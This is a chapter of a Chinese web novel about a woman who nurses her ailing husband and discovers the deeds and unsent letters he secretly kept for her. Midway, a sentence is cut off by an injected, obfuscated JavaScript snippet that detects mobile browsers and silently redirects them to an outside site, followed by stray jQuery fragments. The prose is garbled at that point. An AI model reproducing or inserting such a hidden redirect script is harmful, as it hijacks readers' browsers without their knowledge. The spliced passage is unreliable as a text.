103. 信笺

作品:《我本将心向沟渠

    竹伞落了地。


    雪不再是雪,成了最粗粝的碎瓦片,往祁悠然的脸上割。


    鞋子陷在深雪里,扑哧扑哧的,声音闷得奇怪。她跑得踉跄,步子踩得急,一口气哽在喉头,几乎要将自己呛出泪来。


    她呼喊着侍卫,声音又哑又碎,吞了一嘴寒风跟雪粒子。


    指尖触到顾濯的颈侧,冰得她一颤。气息是有的,游丝一般。她心里一松,随即却涌上一股天大的委屈,直冲得鼻尖发酸。


    她扶他不起,索性也颓然坐下来,将他紧紧拥在怀里,徒劳地想用自己那点微末的体温去煨他。他额发上的雪融了,湿漉漉地贴着她的肌肤。她用自己的衣袖去揩,手被冻得发麻,衣服也是僵冷的,擦着擦着,自己先呜咽了起来。


    她看见自己呼出的白气,一团团,急急地腾起来,又极快地在空中散了,什么也抓不住。眼泪掉得凶,热热地滚下来,挂在眼睫,砸在他脸上,晕开一点水痕。


    倒像他也在哭。


    .


    江烨送走太医,回转来时,见祁悠然还立在顾濯床前,一动未动。


    她还穿着原先的衣裳,被雪洇湿的面料大半没有干,像一幅梅雨天的泼墨山水。人站在那里,被湿沉的布料包着,也成了画中一部分。脸像苍白的宣纸,被湿气熏得有些浮肿,眼下的两痕青影,是远山乌糟的墨迹。


    “他的寒毒,为什么没有完全解清?”


    她蓦地想起了船上紧闭的窗户,马车里过厚的铺设。一切都有迹可循。


    江烨的目光在她僵硬的背影上停留一瞬,又垂下去:“治疗寒毒的血参极为珍贵,原先陛下用了大半,后来……您也身中寒毒……”


    他没说下去。


    祁悠然却知道了。


    当时自己以身试毒,顾濯得知后,默不作声把血参让给了她。


    他……在让太医替自己解毒的日子里,是不是寒毒发作了?所以才一次都没有来看她。


    祁悠然张了张嘴,终究一个字也问不出口。


    横亘在他们之间的误会太多了。命运滋生怨怼,在日久的缄默中病入膏肓。


    本就心有郁结,积重难返,偏又遇上这酷寒天气,引得毒性猛烈反扑,身上还带着山洞碎石落下的伤,甫一清醒,便强撑着来救她。


    饶是铁打的金刚,也经不起这般从里到外的消磨。


    你那张嘴,生来难道是摆设不成?


    她在心里无声地诘问,狠狠瞪着床上那张清矍苍白的面孔。可那点怒气,撞上他几乎毫无生息的眉眼,便立刻软化了,化作一股酸热,直冲上眼眶。


    .


    祁悠然拧干帕子,轻轻擦了擦顾濯的脸。他依旧昏睡着,睫毛覆下来,像两排寂寂的小扇子。


    江烨悄步进门,立在屏风旁,面上踌躇着,欲言又止。


    “何事?”


    “田庄差了人交租,铺子也送了账本来,只是……”他顿了顿,年终的琐碎、银钱的周转、人情往来的亏空,乱麻似的缠在一起,“有一笔要紧的款项,硬是对不上。”


    祁悠然默然片刻,将帕子搁回盆里,起身:“账本拿来我瞧瞧罢。”


    账房设在西厢,炭火烧得不足,阴阴的冷。祁悠然许久没有拨弄算盘了,一时有些生疏。


    冰冷的算盘珠子“嗒”的一声,又脆又寂,划开一段过往。


    也是这般迟滞的声响,她独自对着一堆账册,眼皮涩得撑不住,不知何时便伏在案上睡了过去。迷蒙间,只觉得有人靠近。


    睁开惺忪睡眼,竟直直对上了顾濯的眼睛。


    她那时觉得自己欠着他许多,事情又做得一团糟,一时不知该怎么面对他。


    他却先开口了,说掌家理事,不可不通经济。过几日会请人来教她。


    声音又冷又清。完全是公事公办的口吻。


    她目送着他离开后,发现桌上堆着的账本已经处理好了,批注的小楷瘦硬有力。她怔怔翻动,身上不知何时多覆的一条绒毯滑落下来。


    思绪回笼,祁悠然的动作渐渐利落起来。她终于在账目上寻到了错处,用朱笔划了一道,批了两行小楷。


    她合上账本,正欲起身,余光却不经意瞥见桌上另一本搁着的账目,不由顿住。


    .


    长期往来的账本上,为求简便,多用简称。祁悠然却看得清楚,上面都注明了“祁”字。


    “这些是怎么回事?”她问江烨。


    江烨抿唇,面色纠结。半晌,还是坦白:“是侯爷……早年便陆续为您置办下的。”


    书房里冷寂寂的。


    祁悠然依着江烨说的,打开了书案下的暗格。


    她取出一个扁平的木匣。


    里面是厚厚一沓文契,田庄、铺面、银号凭信,压得她手里发沉。


    她一份份拣看,竟连整座侯府府邸的过户文书都在其中,日期是他们成亲的那一年。


    白纸黑字,写得分明,是他亲笔立的契,官府过了明路的。


    “您先前离开时,捐了侯府大半产业……说是补偿。其实不是。”江烨看着她,低声道,“这些东西,自始至终,都是您的。”


    “寒毒酷烈,侯爷担心自己若有不测,您会无所依凭。有这些产业傍身,旁人总得忌惮几分。”他顿了顿,声音更低了,“……便是、便是您日后想另择良缘,有了这份底气,新夫家也绝不敢怠慢轻视了您去。”


    祁悠然将纸张搁下。她当时满心都是离去、报复的决绝恨意,竟浑然未觉,为何动辄侯府半壁家财,会是那般容易。


    眼睛里一阵干涩的痛,没有泪。


    他不是在补偿,他是在为她铺路。一条即使没有他,甚至正因为没有他,她也能昂着头走下去的路。


    他替她想得这样周到……周到得残忍。


    她忽然想笑,嘴角牵了牵,却拉不出一个笑的弧度。他连她可能受的欺负都预先堵上了,却独独不肯,在她还是他妻子的时候,给她一点点凡俗的、暖老温贫的体贴。


    “他倒是好算计,这样一来,我这个人,生生世世都打上他永安侯府的烙印了。”她垂着头,眸中情绪晦涩。


    江烨垂首默立,窗外是灰茫茫的天。


    他想起很久以前,顾濯看着祁悠然在宴会上被明里暗里的言语刺着。他始终没有任何动作,连眉梢都不曾动一下。旁人都道这位世子厌极了声名狼藉的郡主,连在下人面前,他也是这般作态。


    可江烨记得,无论席散得多晚,无论外头是风是雪,顾濯总会站在候府的马车旁,沉默地等着她。


    那次,她收到了那份带着侮辱的玉石,他亲手为她报复回去。


    “您为何……不在席上为郡主解围?”江烨后来曾大着胆子问过。


    顾濯那时坐在书房,侧影被灯光勾勒得清瘦料峭。他刚布完一局足够狠绝的棋,眉宇间带着倦,难得袒露了心声:“侯府的风光不过表面,陛下心里怎么想的,你也清楚。我帮不了太多。甚至会连累她。”


    “何况……”他轻咳一声,“她不该在这里耗着。日后……若我不在了,她总要学会自己看清这些,应付这些。”


    于是他狠下心,逼着自己冷眼旁观,也


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510757|175983||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    逼着她早早尝尽人情冷暖,学会独自咬牙站立。


    .


    江烨在心里暗叹一口气,感情的事情,哪是这般轻易的。后来祁悠然当真提出和离,这位素来谋定后动的侯爷,却第一次显出了近乎失态的执拗。


    他不肯。


    他并非不想要,只是从前不敢要。


    彼时他刚承爵位,权柄在握,连纠缠多年的寒毒也寻到了解毒的法子,命运的天光乍现,一切都在向着光明处去。他又如何愿意放手。


    机关算尽,败于贪念。反倒将人推得更远了。


    .


    祁悠然低头看着桌上的纸页,只觉得心口那块捂了多年的冰,无端灼烧起来,烫得她五脏六腑都疼。


    它们是最实在的“我爱你”的证明,也是最残忍的“我已准备好离开你”的告别。


    可偏偏是这样的方式,比任何情话都锥心刺骨。


    他用最体面的方式,把她变成了永远的未亡人。


    她将东西一件件收好,放回原处,声音泛着痛:“谁稀罕他的东西。”


    暗格的阴影里,似乎还藏着什么。


    她擦了擦眼角,伸手探去,取出另一个木匣。


    比先前的大上许多。匣子上了锁,小小的黄铜锁,锈色暗沉。


    “这是什么?”她问。


    江烨摇头。


    “钥匙呢?”她开始在书房里手忙脚乱地翻找,抽屉、笔筒、书册间隙……


    一无所获。


    钥匙是寻不着的了。他那样的人,若存心要藏起什么,便如同将沙子投入大海。


    里面又锁着怎样的“秘密”?


    眼下不能打开,她有些恼。心里忽然就涌上一股子倔。他们总是错过,总是遗憾。难道到了这步田地,还要被这把小小的锁挡在外头么?


    她冷声吩咐江烨:“把他的剑寻来。”


    没有犹豫,她举起剑,用沉重的剑脊,朝小小的铜锁狠狠砸下。


    “铿”的一声,并不响亮,是闷的。


    她放下剑,手指微微有些颤,轻轻掀开匣盖。


    里头没有什么稀世珍宝。匣子里是信,厚厚一叠,齐整放着。


    祁悠然拿起最上面一封,拆开。没有想象中密密麻麻倾诉衷肠的文字,纸上空白一片,唯有最底下一行小字,记录着日期:


    承平元年八月十五。


    再拆几封,依旧如此。


    承平元年八月十七。


    承平元年九月初三。


    ……


    墨迹看来是稳的,唯独纸张的边缘,有些皱了。


    不同的日子,同样的沉默。日子有些久了,没有书墨的清气,只剩下时光吞咽后,寡淡的余味。


    她却极其耐心,一封一封,执着地拆下去。


    渐渐地,空白里竟也挣扎出些许可怜的字迹来。先是天气,晴、雨、风、雪,都成了值得记录的大事。后来,便是花了。


    花信风一趟趟吹过,菊花、梅花、海棠、桃树、梨树,在他笔下依次沉默地开落。


    像笨拙而滚烫的剖白。


    信拆了大半,她的动作慢了下来。直到看见那一行:


    “今夜星子极亮,不知安眠否。”


    “我很想你。”


    收笔处,有一点不易察觉的顿挫,像是笔尖在此停留过久,终于还是落了下去。


    日期与上一封是一样的。


    那一天,他给她写了两封信。


    是可以说出口的天气与星子,也是只能写给自己看的心事。


    ……无处安放的心事。